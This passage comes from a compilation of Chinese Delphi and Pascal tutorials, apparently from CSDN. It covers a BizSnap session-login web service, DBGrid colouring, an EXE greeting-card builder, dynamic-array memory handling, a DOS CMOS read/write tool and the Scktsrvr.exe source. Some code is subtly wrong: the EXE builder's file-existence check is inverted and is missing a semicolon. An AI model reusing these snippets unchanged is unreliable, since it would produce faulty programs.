   if cdsSession.Locate('SessionHandle',SessionHandle,[]) then
      Result:=True;
   finally
     cdsSession.Close;
   CS.Leave;
  end;
end;
procedure TDataModule3.DataModuleCreate(Sender: TObject);
var
   FN: array[0..255] of char;
begin
   GetModuleFileName(hInstance,FN,SizeOf(FN));
   AppPath:=ExtractFileDir(FN);
end;
initialization
  CS := TCriticalSection.Create;
finalization
   CS.Free;
end.
除了同步處理的控制外，這個程式並沒有其它特別之處,你應該能夠輕易理解。
接著我們要建立WebService，這裡我只列出實作部份，完整程式請參考Examples 3。

unit MyDPAuthServiceImpl;
// Created with Thor-Mjollnir Service Module Creator
interface
uses
   InvokeRegistry,MyDPAuthServiceIntf,uLoginError;
type
   TMyDPAuthService = class(TInvokableClass,IMyDPAuthService)
   private
   { Private declarations }
   public
   //interface implementation
   //function SayHello:string; stdcall;
   function Login(UserName,Password:WideString):WideString;stdcall;
   procedure Logout(SessionHandle:WideString);stdcall;
   function SayHello(SessionHandle:WideString):WideString;stdcall;
   { Public declarations }
   end;
implementation
uses uData;
function TMyDPAuthService.Login(UserName,Password:WideString):WideString;
var
  SessionHandle:WideString;
begin
  SessionHandle:=DataModule3.Login(UserName,Password);
  if SessionHandle = '' then
  raise ELoginError.Create('User already logged in',E_LOGGED)
  else if SessionHandle = 'ERROR' then
  raise ELoginError.Create('invalid user',E_INVALID_USER);
  Result:=SessionHandle;
end;
procedure TMyDPAuthService.Logout(SessionHandle:WideString);
begin
  if not DataModule3.Logout(SessionHandle) then
  raise ELoginError.Create('invalid session handle!',E_INVALID_SESSION);
end;
function TMyDPAuthService.SayHello(SessionHandle:WideString):WideString;
begin
  if not DataModule3.ValidateSession(SessionHandle) then
  raise ELoginError.Create('invalid session handle!',E_INVALID_SESSION);
  Result:='Hello!';
end;
initialization
   InvRegistry.RegisterInvokableClass(TMyDPAuthService);
end.
在WebService 中所產生的例外都會被BizSnap 自動包裝後傳回Client 端，這裡我們產生的
是ELoginError 的自定例外，因此BizSnap  會經由RemTypeRegistry 找到資訊並包裝後傳
回Client 端。
接著建立Client 端應用程式，如之前所提的，你必須將uLoginError 複製到Client 端的目
錄中，下面是Client 程式:

procedure TForm1.Button1Click(Sender: TObject);
var
  SessionHandle:WideString;
begin
 try
  SessionHandle:=(HTTPRIO1 as IMyDPAuthService).Login('code','1234');
 except
  on E:ELoginError do
   begin
     if ELoginError(E).ErrorCode = E_LOGGED then
        ShowMessage('user already logged in');
     if ELoginError(E).ErrorCode = E_INVALID_USER then
        ShowMessage('invalid user!');
     exit;
   end;
 end;
 try
    ShowMessage((HTTPRIO1 as IMyDPAuthService).SayHello(SessionHandle));
 finally
    (HTTPRIO1 as IMyDPAuthService).Logout(SessionHandle);
 end;
end;

執行後你應該得到一個Hello 的訊息，你可以試著用另外的使用者登入，你將會得到錯誤訊息!
這個程式還有很大的改善空間，如Session 過期處理，重複登入等問題! 這些就交給你了。

將Service 分發為ISAPI DLL
這並不困難! 你只要開一個新專案，選擇ISAPI 的Server Type 後再將你使用到的Unit 加入
這個Project 中編譯就可以了，有關這一部份你可以在DataSnap 篇找到有關的步驟，
這裡就讓我偷懶一下了 :)
PS:Demos/WebSnap 內許多範例就是這樣做的，你可以參考一下。
PS2:記得打開虛擬目錄的執行權限。

關於程式碼部份:
下載位址
http://home.pchome.com.tw/guide/code6421/Wizard.zip
http://home.pchome.com.tw/guide/code6421/Examples.zip

寫完這篇文章後我又修改了小部份的程式碼，所以請你以Examples 內的程式為主!
還有! 別按Get Jpeg(use DynaArray) 按紐，因為我後來換了張圖，大小有61K!
如果你按了的話...嘿! 可以先出去吃飯了。
這些範例程式中多半沒有做完整的錯誤處理，當你實際應用於專案中時，請記得
做好錯誤管理。
(當你發現範例程式有問題時,請先查看你的設定是否正確,再看看範例程式被標為註解的程式碼,
或許你會有意想不到的發現)

關於一些問題及解決方法
如果你直接拿範例程式來執行的話，記得先執行Service Server 程式一次!
讓她註冊自己之後你才能正常執行Client 端程式，我的程式需要Indy 9.1 版本，
所以你必需先到Indy 站上Download 最新版本，再將你的Indy 8.0 移除後再安裝新的Indy，
有許多使用者(包括我自己) 在第一次使用WebAppDebuger 時沒有按下Start按紐，
使得WebAppDebuger 沒有啟動HTTP 服務! 所以記得要做! 嘿，我像老太婆般嘮叨了一堆，
就是希望你能體會一下WebService 的好處  :)

PS:當你安裝了MSSOAP 跟她的Samples 後，你要自行到IIS 中建立相關的目錄。

一些除錯工具
在我們撰寫WebService Client 端時，常常需要查看網路傳輸的資料，PocketSoap 公司
提供了幾個工具可以讓我們監控網路間傳輸的資料，她提供了兩個工具程式
一個是TCPTracer，另一個是ProxyTracer，你可以到下列的網站下載。
http://www.pocketsoap.com/

關於Wizard 的原始碼
我並沒有將原始碼放在壓縮檔中! 主要原因是這個Wizard 還有些問題，
當你儲存她所產生的出來的Unit 時，請使用Menu 內的Save來儲存，不要使用Ctrl+S HotKey 來存。

後記
DELPHI 6 是個相當強的開發工具! 這次的WebSnap 更將Interface 的運用推向另一個高蜂，
在研究WebSnap 時，我時常掉入Jim 所建構的迷宮中，但一旦清楚後，你會發現WebSnap 竟設
計的如此美麗! 比起WebSnap，BizSnap 呈現出另一種美，她所展示的並不是錯蹤複雜的架構，而
是不拖泥帶水的精簡技術與神奇的魔法，兩者我都喜歡!也為Borland 的技術讚嘆，希望你能
在這篇文章中得到你所想要得到的東西，我所寫的不一定是對的，身為工程師! 請保持你的懷疑及
驗證的精神，這會使你得到意想不到的收穫，如果你發現了錯誤也請你通知我，我會儘快修正，
也請你Post 到論壇上，讓其它人得利! 就這樣，希望很快能完成另一篇WebSnap，能再與你們
分享，So...ByeBye!

相关帖子:

李维：軟體服務時代的來臨

看看什么是软件服务时代！大家快来看看！

李维:.net vs delphi 6

   delphi6 爆发还是灭亡？

李维:我的回忆和一些有趣的事

看IT风云变幻,宝兰与微软背后的故事,

李维:2001 年軟體界的巨星 - Kylix

看宝兰, 一年之间连续推出kylix1.0 ,interbase6.0, delphi6,jbuilder5 ,c++builder6也不日即出,敬请关注宝兰2001年与微软对绝的杀手锏kylix

李维:Windows 原生開發工具的瑰寶 – Delphi 6

李维问答集之语言选择篇

李维：樂趣無窮，可能無限的新技術-Web Service

我推荐的帖子

陈宽达: 遊戲程式設計初學者常遇之疑問

明修栈道,暗渡陈仓,陈宽达点指开发工具

软件开发中的弊病

这篇文章精彩，引来的评论更精彩！


CSDN_文档中心_动态更新DBGrid的颜色

DBGrid控件是一个有许多用户接口的显示数据库的控件，以下的程序
告诉您如何根据显示的内容改变字体的显示颜色。例如，如果一个城
市的人口大于200万，我们就让它显示为蓝色。使用的控件事件为
DBGrid.OnDrawColumeCell.

procedure TForm1.DBGrid1DrawColumnCell(Sender: TObject; const
Rect:TRect;DataCol: Integer; Column: TColumn; State:
TGridDrawState);

begin

if Table1.FieldByName('Population').AsInteger > 20000000 then

DBGrid1.Canvas.Font.Color := clBlue;

DBGrid1.DefaultDrawColumnCell(Rect, DataCol, Column, State);

end;

上面的例子是简单的，但是你可以根据自己的需要扩充，例如字体也
变化等，甚至你可以调用画圆的函数在数字上画上一个红色的圆圈。


CSDN_文档中心_动态贺卡EXE生成器---Delphi中流的应用(9)

<<电脑商情报>>已经连载到此节了:)

http://lovejingtao.126.com

三、实际应用之二：利用流制作可执行电子贺卡

我们经常看到一些电子贺卡之类的制作软件，可以让你自己选择图片，然后
它会生成一个EXE可执行文件给你。打开贺卡时就会一边放音乐一边显示出图片来。
现在学了流操作之后，我们也可以做一个了。
添加图片过程我们可以直接用前面的Cjt_AddtoFile，而现在要做的是如何把
图像读出并显示。我们用前面的Cjt_LoadFromFile先把图片读出来保存为文件再
调入也是可以的，但是还有更简单的方法，就是直接把文件流读出来显示，有了
流这个利器，一切都变的简单了。
现在的图片比较流行的是BMP格式和JPG格式。我们现在就针对这两种图片写
出读取并显示函数。

Function Cjt_BmpLoad(ImgBmp:TImage;SourceFile:String):Boolean;
var
Source:TFileStream;
MyFileSize:integer;
begin
Source:=TFileStream.Create(SourceFile,fmOpenRead or fmShareDenyNone);
try
try
Source.Seek(-sizeof(MyFileSize),soFromEnd);
Source.ReadBuffer(MyFileSize,sizeof(MyFileSize));//读出资源
Source.Seek(-MyFileSize,soFromEnd);//定位到资源开始位置
ImgBmp.Picture.Bitmap.LoadFromStream(Source);
finally
Source.Free;
end;
except
Result:=False;
Exit;
end;
Result:=True;
end;
上面是读出BMP图片的，下面的是读出JPG图片的函数，因为要用到JPG单元，所
以要在程序中添加一句:uses jpeg。

Function Cjt_JpgLoad(JpgImg:Timage;SourceFile:String):Boolean;
var
Source:TFileStream;
MyFileSize:integer;
Myjpg: TJpegImage;
begin
try
Myjpg:= TJpegImage.Create;
Source:=TFileStream.Create(SourceFile,fmOpenRead or fmShareDenyNone);
try
Source.Seek(-sizeof(MyFileSize),soFromEnd);
Source.ReadBuffer(MyFileSize,sizeof(MyFileSize));
Source.Seek(-MyFileSize,soFromEnd);
Myjpg.LoadFromStream(Source);
JpgImg.Picture.Bitmap.Assign(Myjpg);
finally
Source.Free;
Myjpg.free;
end;
except
Result:=false;
Exit;
end;
Result:=true;
end;
有了这两个函数，我们就可以制作读出程序了。下面我们以BMP图片为例：
运行Delphi，新建一个工程，放上一个显示图像控件Image1。在窗口的Create
事件中写上一句就可以了：
Cjt_BmpLoad(Image1,Application.ExeName);
这个就是头文件了，然后我们用前面的方法生成一个head.res资源文件。
下面就可以开始制作我们的添加程序了。全部代码如下：
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls, ExtDlgs;

type
TForm1 = class(TForm)
Edit1: TEdit;
Button1: TButton;
Button2: TButton;
OpenPictureDialog1: TOpenPictureDialog;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
Function ExtractRes(ResType, ResName, ResNewName : String):boolean;
Function Cjt_AddtoFile(SourceFile,TargetFile:string):Boolean;
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}
Function TForm1.ExtractRes(ResType, ResName, ResNewName : String):boolean;
var
Res : TResourceStream;
begin
try
Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
try
Res.SavetoFile(ResNewName);
Result:=true;
finally
Res.Free;
end;
except
Result:=false;
end;
end;
Function TForm1.Cjt_AddtoFile(SourceFile,TargetFile:string):Boolean;
var
Target,Source:TFileStream;
MyFileSize:integer;
begin
try
Source:=TFileStream.Create(SourceFile,fmOpenRead or fmShareExclusive);
Target:=TFileStream.Create(TargetFile,fmOpenWrite or fmShareExclusive);
try
Target.Seek(0,soFromEnd);//往尾部添加资源
Target.CopyFrom(Source,0);
MyFileSize:=Source.Size+Sizeof(MyFileSize);//计算资源大小，并写入辅程尾部
Target.WriteBuffer(MyFileSize,sizeof(MyFileSize));
finally
Target.Free;
Source.Free;
end;
except
Result:=False;
Exit;
end;
Result:=True;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Caption:='Bmp2Exe演示程序.作者:陈经韬';
Edit1.Text:='';
OpenPictureDialog1.DefaultExt := GraphicExtension(TBitmap);
OpenPictureDialog1.Filter := GraphicFilter(TBitmap);

Button1.Caption:='选择BMP图片';
Button2.Caption:='生成EXE';
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if OpenPictureDialog1.Execute then
Edit1.Text:=OpenPictureDialog1.FileName;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
HeadTemp:String;
begin
if FileExists(Edit1.Text) then
begin
Application.MessageBox('BMP图片文件不存在，请重新选择!','信息',MB_ICONINFORMATION+MB_OK)
Exit;
end;
HeadTemp:=ChangeFileExt(Edit1.Text,'.exe');
if ExtractRes('exefile','head',HeadTemp) then
if Cjt_AddtoFile(Edit1.Text,HeadTemp) then
Application.MessageBox('EXE文件生成成功!','信息',MB_ICONINFORMATION+MB_OK)
else
begin
if FileExists(HeadTemp) then DeleteFile(HeadTemp);
Application.MessageBox('EXE文件生成失败!','信息',MB_ICONINFORMATION+MB_OK)
end;
end;
end.
怎么样？很神奇吧:)把程序界面弄的漂亮点，再添加一些功能，你会发现比
起那些要注册的软件来也不会逊多少吧。


CSDN_文档中心_动态数组介绍----Delphi

动态数组介绍----Delphi

自从有了动态数组，链表除了在教科书里出现外，已经很少在实际编程中被使用了，事实也是如此，数组的确比传统链表快得多,而且也方便的多。

从 Delphi4起，开始了内建各种类型的动态数组支持。但是，对我们来说动态数组支持似乎做的不够彻底，因为Delphi竟然连删除、插入、移动连续元素的函数都没有提供，让人使用起来总觉得不够爽！！！ J 。作为一名程序员，我们当然要有自己解决问题的能力，下面就让我们简单介绍一下Delphi 下的动态数组。

在Delphi中，数组类型有静态数组（a : array[0..1024] of integer）、动态数组（var a : array of integer）、指针数组（即指向静态数组的指针）和开放数组（仅用于参数传递）。静态数组、指针数组有速度快的好处，动态数组有大小可变的优势，权衡之下就有了折衷的办法，那就是定义的动态数组在必要时转换为指针。

动态数组声明之后，只有下面几个函数可供操作：

1． 设置数组大小，可以任意缩减或增加数组大小

Procedure SetLength(var S ; NewLength : integer);

2． 取出连续元素，复制给另一个数组变量

Function Copy(s;Index,Count : integer) : array ;

3． 取得数组大小及上下限

Function Length(s):integer;

Function High(x):integer;

Function Low(x):integer;

值得注意的是，不加const或var修饰的动态数组会被作为形参传递，而动态数组用const修饰并不意味着你不能修改数组里的元素（不信你可以字自己在程序中试试。还有一点是High函数调用了Length 函数，所以我们在获取数组上限时最好直接用 Length(s) 函数。

动态数组在内存空间中占用4个字节. 动态数组在内存中的分配表如下：

偏移量 内容

-8 32-bit 引用计数

-4 32-bit 数组长度

0..数组长度 * (元素尺寸) - 1 数组元素 元素尺寸=Sizeof(元素类型)

根据上面的分配情况，可以得到如下结果：

如果我们想要清空一个动态数组只需要把“数组长度”和“引用计数”清空即可。”引用上面的一句话就是：“权衡之下就有了折衷的办法，那就是定义的动态数组在必要时转换为指针。”下面是清空动态数组的函数：

procedure DynArraySetZero(var A);

var

P: PLongint; //占用4个字节，正好符合 32 位内存排列

begin

P := PLongint(A); // 指向 A 的地址

Dec(P); //P 地址偏移量是 sizeof(A)，指向了数组长度

P^ := 0; // 长度清空

Dec(P); // 指向引用计数

P^ := 0; //计数清空。

end;

上面的函数就这么简单，而且效率也非常高。

下面让我们再来看看怎样删除动态数组中的元素,函数体如下：

{************************************

A 变量类型 ， elSize = SizeOf(A)

index 开始删除的位置索引 ，Count 删除的数量

****************************************}

procedure DynArrayDelete(var A; elSize: Longint; index, Count: Integer);

var

len, MaxDelete: Integer;

P : PLongint; //4 个字节的长整形指针

begin

P := PLongint(A);// 取的 A 的地址

if P = nil then

Exit;

{

下面这句完全等同于 Dec(P) ; len := P^ 因为 Dec(P) = Pchar(P) – 4 同样是移动4 字节的偏移量，只不过后者按字节来移动 }

len := PLongint(PChar(P) - 4)^; // 变量的长度 ，偏移量 -4

if index >= len then //要删除的位置超出范围，退出

Exit;

MaxDelete := len - index; // 最多删除的数量

Count := Min(Count, MaxDelete); // 取得一个较小值

if Count = 0 then // 不要求删除

Exit;

Dec(len, Count);// 移动到要删除的位置

MoveMemory(PChar(P)+index*elSize , PChar(P)+(index + Count)*elSize , (len-index)*elSize); //移动内存

Dec(P); //移出 “数组长度”位置

Dec(P); //移出“引用计数” 位置

//重新再分配调整内存,len 新的长度. Sizeof(Longint) * 2 = 2*Dec(P)

ReallocMem(P, len * elSize + Sizeof(Longint) * 2);

Inc(P); // 指向数组长度

P^ := len; // new length

Inc(P); // 指向数组元素，开始的位置

PLongint(A) := P;

end;

对上面的例子，我们需要注意的是 elSize 参数 ，它必须是 SizeOf(DyArray_Name),表示元素所占用的字节数。

相信看了上面的例子后，对于动态数组的拷贝，移动想必也可以自己实现了吧 J

后续：

其实,Delphi 对许多类型的内存分配都很相似，比如 string 类型，其实它和动态数组是很相似的，我们完全可以把它拿来当成动态数组。实质上 string 是 Pchar 的简易版本。不管怎么说，了解一些内存的分配对我们这些开发人员来说还是有一些好处的。


CSDN_文档中心_读写CMOS内存

cmos内存的读写

一、CMOS内存信息详解
一般的PC/AT、286、386、486等微机均配有CMOS芯片,CMOS&127;芯片包含了一个实时钟
和64个字节的CMOS内存。在CMOS内存中，0-0DH为实时钟的有关信息，0E-&127;3FH包含
计算机的硬件配置信息,如常规内存的大小、扩展内存的大小、&127;软盘的类型、固定
盘的类型及其物理参数、显示器的类型等，这些参数与计算机能否正常工作具有密切的
关系，另外还有计算机的开机口令和其它辅助设置信息。表1列出了&127;CMOS内存各字
节的用途。
表1 CMOS内存配置信息的含义
地 址
功能
说明
0,1
秒,秒报警

2,3
分,分报警

4,5
时,时报警

6
星期几

7,8,9
日,月,年

A
状态寄存器A

B
状态寄存器B

C
状态寄存器C

D
状态寄存器D
0=电池失效,80=电池有效
E
诊断状态

F
关机状态
由上电诊断定义
10
软驱
高4位为A驱,低4位为B驱,0=无, 1=360KB, 2=1.2KB, 4=1.44KB, 6=720KB
11
保留

12
固定盘
高4位为C驱,低4位为D驱,0=无,F=用户定义盘, 其它为系统定义盘
13
保留

14
设备状态
标志驱动器数、显示器类型、有无数学处理器等
15-16
内存
以KB计的常规内存数,100H=256KB,200H=512KB, 280H=640KB
17-18
扩展内存
以KB计的扩展内存数,200H=512KB,400H=1024KB等
19
C盘类型数
根据具体硬盘类型而定
1A
D盘类型数
根据具体硬盘类型而定
1B-1C
保留

1D-1E
C盘柱体数
1D-2CH只有当硬盘为用户自定义类型时起作用
1F
C盘面数

20-21
C盘WP

22-23
C盘LZ

24
C盘每柱扇区

25-26
D盘柱体数

27
D盘面数

28-29
D盘WP

2A-2B
D盘LZ

2C
D盘每柱扇区

2D
保留

2E-2F
校验和
为10-2DH共30个字节的和数,2EH为高位,2FH为低位
30-31
扩展内存

32
日期的世纪数
BCD码的世纪值,如1995年的世纪数为19
33
标志信息

34-3F
保留

*地址栏均为16进制表示
二、读写CMOS内存的方法
CMOS内存的地址口和数据口的口地址分别为70H和71H。在对CMOS内存进行写操作时,首先
将要写入的CMOS内存的地址送到口地址70H,&127;再将要写入的数据送口地址71H。在对
CMOS内存进行读操作时,首先将要读出的CMOS内存的地址送到口地址70H,再从口地址71H
读出数据到AL寄存器。
三、程序设计与使用
为了方便系统信息丢失后CMOS信息的恢复,作者用BORLAND PASCAL&127;设计了一个CMOS
.PAS的程序,它可以将CMOS内存中的信息直接写入文件,也可以把文件中的信息写入CMOS
内存,同时可以对CMOS内存中的信息进行编辑修改,并重新写回CMOS内存。它不仅解决了
没有SETUP程序的计算机在加电时不能设置CMOS内存的问题,同时解决了CMOS信息的保存
和恢复问题，是广大计算机用户的一个好帮手。
该程序的使用很简单，在DOS提示符下打CMOS,即显示该程序的使用方法,&127;具体使用
方法是:
CMOS [/开关]
开关有3个:
R --- 读取CMOS内存信息,并将其存入CMOS.DAT的文件,共占64个字节。
W --- 从CMOS.DAT中读取信息,并将其写入CMOS内存。&127;注意这样写入的CMOS信息,其
时间和日期是不正确的,写完之后应当用DOS命令DATE和TIME&127;设置正确的日期和时间
。
M --- 从CMOS中读取当前信息,进行修改,然后将其写入CMOS内存和CMOS.DAT的文件。
四、程序清单
由于篇幅的限制，程序中略去了用TURBO &127;VISION&127;编写的程序界面部分。
program CMOS;
type
TCMOSType = record
Seconds : byte;
SecondAlarm : byte;
Minutes : byte;
MinuteAlarm : byte;
Hours : byte;
HourAlarm : byte;
DayOfWeek : byte;
DayOfMonth : byte;
Month : byte;
Year : byte;
StatusRegA : byte;
StatusRegB : byte;
StatusRegC : byte;
StatusRegD : byte;
DiagStatus : Byte;
ShutDownStatus : Byte;
FloppyDrive : byte;
Reserved1 : byte;
FixedDrive : Byte;
Reserved2 : byte;
Equipment : byte;
RAM : word;
XMS : word;
FixedDriveType1 : byte;
FixedDriveType2 : byte;
Reserved3 : word;
Cylinder1 : word;
Head1 : byte;
WP1 : word;
LZ1 : word;
Sector1 : byte;
Cylinder2 : word;
Head2 : byte;
WP2 : word;
LZ2 : word;
Sector2 : byte;
Sys : byte;
CheckSum : word;
XMS1 : word;
DateCentury : byte;
InfoFlags : byte;
Reserved4: array[1..12] of byte;
end;
TByte64 = array[1..64] of byte;
TCMOS = object
CMOSRec : TCMOSType;
procedure ReadCMOS;
procedure WriteCMOS;
procedure DisplayCMOS;
procedure ModifyCMOS;
procedure ReadFile;
procedure WriteFile;
end;
procedure TCMOS.ReadFile;
var
f1 : file;
data : tbyte64 absolute CMOSRec;
ch : char;
begin
write('Please input the drive name (A/B/C/D): ');
readln(ch);
assign(f1,ch+':\CMOS.DAT');
reset(f1,1);
blockread(f1,data,sizeof(data));
close(f1);
end;
procedure TCMOS.WriteFile;
var
f1:file;
data : tbyte64 absolute CMOSRec;
ch : char;
begin
write('Please input the drive name (A/B/C/D): ');
readln(ch);
assign(f1,ch+':\CMOS.DAT');
rewrite(f1,1);
blockwrite(f1,data,sizeof(data));
close(f1);
end;
procedure TCMOS.ReadCMOS;
begin
asm
les di,self
add di,CMOSRec
MOV CX,40H
MOV AH,0H
MOV BX,0
@1:
MOV DX,70H
MOV AL,AH
OUT DX,AL
INC DX
in AL,dx
MOV BYTE PTR es:[di+BX],al
INC AH
INC BX
DEC CX
JNZ @1
end;
end;
procedure TCMOS.WriteCMOS;
begin
asm
les di,self
add di,CMOSRec
MOV CX,40H
MOV AH,0H
MOV BX,0
@1:
MOV DX,70H
MOV AL,AH
OUT DX,AL
MOV AL,BYTE PTR es:[di+BX]
INC DX
OUT DX,AL
INC AH
INC BX
DEC CX
JNZ @1
end;
end;
procedure TCMOS.DisplayCMOS;
var
hd1,hd2,fd1,fd2 : byte;
begin
Writeln(^J^M'CMOS RAM information:');
writeln('Date(MM-DD-YY): ',CMOSRec.Month shr 4,CMOSRec.Month and $f,
'-',CMOSRec.DayOfMonth shr 4,CMOSRec.DayOfMonth and $f,
'-',CMOSRec.Year shr 4,CMOSRec.Year and $f);
writeln('Time(HH:MM:SS): ',CMOSRec.Hours shr 4,CMOSRec.Hours and $f,
':',CMOSRec.Minutes shr 4,CMOSRec.Minutes and $f,
':',CMOSRec.Seconds shr 4,CMOSRec.Seconds and $f);
writeln('Conventional Memory: ',CMOSRec.Ram,'KB');
writeln('Extended Memory: ',CMOSRec.XMS,'KB');
hd2 := CMOSRec.FixedDrive and $f;
hd1 := CMOSRec.FixedDrive shr 4;
if (hd1 <> 0) then
begin
writeln('Fixed Drive 1: ',CMOSRec.FixedDriveType1);
writeln(' Cylinder : ',CMOSRec.Cylinder1);
writeln(' Head : ',CMOSRec.Head1);
writeln(' Sector: ',CMOSRec.Sector1);
writeln(' LZ: ',CMOSRec.LZ1);
writeln(' WP: ',CMOSRec.WP1);
end;
if (hd2 <> 0) then
begin
writeln('Fixed Drive 2: ',CMOSRec.FixedDriveType2);
writeln(' Cylinder : ',CMOSRec.Cylinder2);
writeln(' Head : ',CMOSRec.Head2);
writeln(' Sector: ',CMOSRec.Sector2);
writeln(' LZ: ',CMOSRec.LZ2);
writeln(' WP: ',CMOSRec.WP2);
end;
fd2 := CMOSRec.FloppyDrive and $f;
fd1 := CMOSRec.FloppyDrive shr 4;
if (fd1 <> 0) then
begin
write('Floppy Drive 1 : ');
case fd1 of
1 : writeln('360KB 5.25''');
2 : writeln('1.2MB 5.25''');
4 : writeln('1.44MB 3.5''');
6 : writeln('720KB 3.5''');
end;
end ;
if (fd2 <> 0) then
begin
write('Floppy Drive 2 : ');
case fd2 of
1 : writeln('360KB 5.25''');
2 : writeln('1.2MB 5.25''');
4 : writeln('1.44MB 3.5''');
6 : writeln('720KB 3.5''');
end;
end;
end;
procedure TCMOS.ModifyCMOS;
var
hd1,hd2,fd1,fd2 : byte;
data : tbyte64 absolute CMOSRec;
i : word;
begin
Writeln('Please input CORRECT CMOS information !');
write('Conventional Memory (',CMOSRec.ram,'KB): ');readln(CMOSRec.ram);
write('Extended Memory (',CMOSRec.XMS,'KB): ');readln(CMOSRec.XMS);
write('Type of Fixed Disk 1: (',CMOSRec.FixedDriveType1,'): ');readln(CMOSRe
c.FixedDriveType1);
write(' Cylinder (',CMOSRec.Cylinder1,'):'); readln(CMOSRec.Cylinder1);
write(' Head (',CMOSRec.Head1,'): ');readln(CMOSRec.Head1);
write(' Sector (',CMOSRec.Sector1,'): ');readln(CMOSRec.Sector1);
write(' LZ (',CMOSRec.LZ1,'): ');readln(CMOSRec.LZ1);
write(' WP (',CMOSRec.WP1,'): ');readln(CMOSRec.WP1);
write('Type of Fixed Disk 2: (',CMOSRec.FixedDriveType2,'): ');readln(CMOSRe
c.FixedDriveType2);
write(' Cylinder (',CMOSRec.Cylinder2,'):'); readln(CMOSRec.Cylinder2);
write(' Head (',CMOSRec.Head2,'): ');readln(CMOSRec.Head2);
write(' Sector (',CMOSRec.Sector2,'): ');readln(CMOSRec.Sector2);
write(' LZ (',CMOSRec.LZ2,'): ');readln(CMOSRec.LZ2);
write(' WP (',CMOSRec.WP2,'): ');readln(CMOSRec.WP2);
hd1 := 0; hd2 :=0;
if (CMOSRec.FixedDriveType1>46) then hd1 := $f;
if (CMOSRec.FixedDriveType2>46) then hd2 := $f;
CMOSRec.FixedDrive := hd1 shl 4 + hd2;
fd2 := CMOSRec.FloppyDrive and $f;
fd1 := CMOSRec.FloppyDrive shr 4;
write('Floppy Drive 1 (');
case fd1 of
1 : write('360KB 5.25''): ');
2 : write('1.2MB 5.25''): ');
4 : write('1.44MB 3.5''): ');
6 : write('720KB 3.5''): ');
end;
readln(fd1);
write('Floppy Drive 2 (');
case fd2 of
1 : write('360KB 5.25''): ');
2 : write('1.2MB 5.25''): ');
4 : write('1.44MB 3.5''): ');
6 : write('720KB 3.5''): ');
end;
readln(fd2);
CMOSRec.FloppyDrive := fd1 shl 4 + fd2;
CMOSRec.CheckSum := 0;
for i := 17 to 46 do inc(CMOSRec.CheckSum,data[i]);
i := CMOSRec.CheckSum;
data[47] := hi(i);
data[48] := lo(i);
end;
procedure help;
begin
WriteLn('Syntex:'+^J^M+
' CMOS /R --- read information from CMOS RAM '+^J^M+
' and write it to CMOS.DAT file '+^J^M+
' CMOS /W --- read configuration information from CMOS.DAT '+^J^M+
' and write it to CMOS RAM');
Writeln(' CMOS /M --- modify CMOS information and save it'^J^M+
' Floppy Drive Type:'+^J^M+
' 1 : 360KB 5.25'''+^J^M+
' 2 : 1.2MB 5.25'''+^J^M+
' 4 : 1.44MB 3.5'''+^J^M+
' 6 : 720KB 3.5''');
end;
var ch : char;
temp : string;
ICMOS : TCMOS;
begin
WriteLn('CMOS Proctector 1.00, Copyright (c) 1995 Dong Zhanshan');
if paramcount = 1 then
begin
temp := paramstr(1);
ch := upcase(temp[2]);
case ch of
'M' : begin
ICMOS.ReadCMOS;
ICMOS.ModifyCMOS;
ICMOS.DisplayCMOS;
ICMOS.WriteFile;
ICMOS.WriteCMOS;
end;
'R' : begin
ICMOS.ReadCMOS;
ICMOS.DisplayCMOS;
ICMOS.WriteFile;

end;
'W' : begin
ICMOS.ReadFile;
ICMOS.DisplayCMOS;
ICMOS.WriteCMOS;
end;
else help;
end;
end
else
help;
end.


CSDN_文档中心_读一读Scktsrvr.exe的源程序

读一读Scktsrvr.exe的源程序

使用DELPHI做多层开发的朋友们都应该对Scktsrvr.exe这个程序不陌生的，
Borland公司在DELPHI中给出了它的源代码。
这是一个900来行的程序，程序不算长，
现在我只选其中部分仔细读一读。
走的线路大致是，从服务器接到客户端连接，处理客户端的一个请求（这儿
选了客户端向服务器发出的'取应用服务器列表'请求)

服务器接受了客户端连接后,
因为ServerSocket采用的是阻塞模式,服务器执行了下面这个线程来
服务客户端：

//SCKTMAIN.PAS

procedure TSocketDispatcherThread.ClientExecute;
var
Data: IDataBlock;
msg: TMsg;
Obj: ISendDataBlock;
Event: THandle;
WaitTime: DWord;
begin
CoInitialize(nil); //初始化COM
try
Synchronize(AddClient); //在程序界面上显示客户信息,
//用同步保证AddClient线程安全性
FTransport := CreateServerTransport;
try
Event := FTransport.GetWaitEvent;
PeekMessage(msg, 0, WM_USER, WM_USER, PM_NOREMOVE);
GetInterface(ISendDataBlock, Obj);
if FRegisteredOnly then
FInterpreter := TDataBlockInterpreter.Create(Obj, SSockets) else
FInterpreter := TDataBlockInterpreter.Create(Obj, '');
try
Obj := nil;
if FTimeout = 0 then
WaitTime := INFINITE else
WaitTime := 60000;
while not Terminated and FTransport.Connected do
try
case MsgWaitForMultipleObjects(1, Event, False, WaitTime, QS_ALLEVENTS) of
//MsgWaitForMultipleObjects保持线程同步之用,
//本文暂不细说它.
WAIT_OBJECT_0: //有数据来了
begin
WSAResetEvent(Event);
Data := FTransport.Receive(False, 0); //从客户端接收数据块
if Assigned(Data) then
begin
FLastActivity := Now;
FInterpreter.InterpretData(Data);//下面接着分析这儿
Data := nil;
FLastActivity := Now;
end;
end;
WAIT_OBJECT_0 + 1:
while PeekMessage(msg, 0, 0, 0, PM_REMOVE) do
DispatchMessage(msg);
WAIT_TIMEOUT:
if (FTimeout > 0) and ((Now - FLastActivity) > FTimeout) then
FTransport.Connected := False;
end;
except
FTransport.Connected := False;
end;
finally
FInterpreter.Free;
FInterpreter := nil;
end;
finally
FTransport := nil;
end;
finally
CoUninitialize;
Synchronize(RemoveClient);
end;
end;
就这么舒舒服服的六十来行。
除开那些流程控制的语句，我们主要看到两个东西:
数据传输(FTransport) 和 数据解析(FInterpreter)。

在本文中,我更感兴趣的是它的应用协议的实现,
数据传输(FTransport)就先扔在一边,以后再看了.

现在我们就来看看它的数据解析部分。
。。。
FInterpreter := TDataBlockInterpreter.Create(Obj, SSockets) else
FInterpreter := TDataBlockInterpreter.Create(Obj, '');
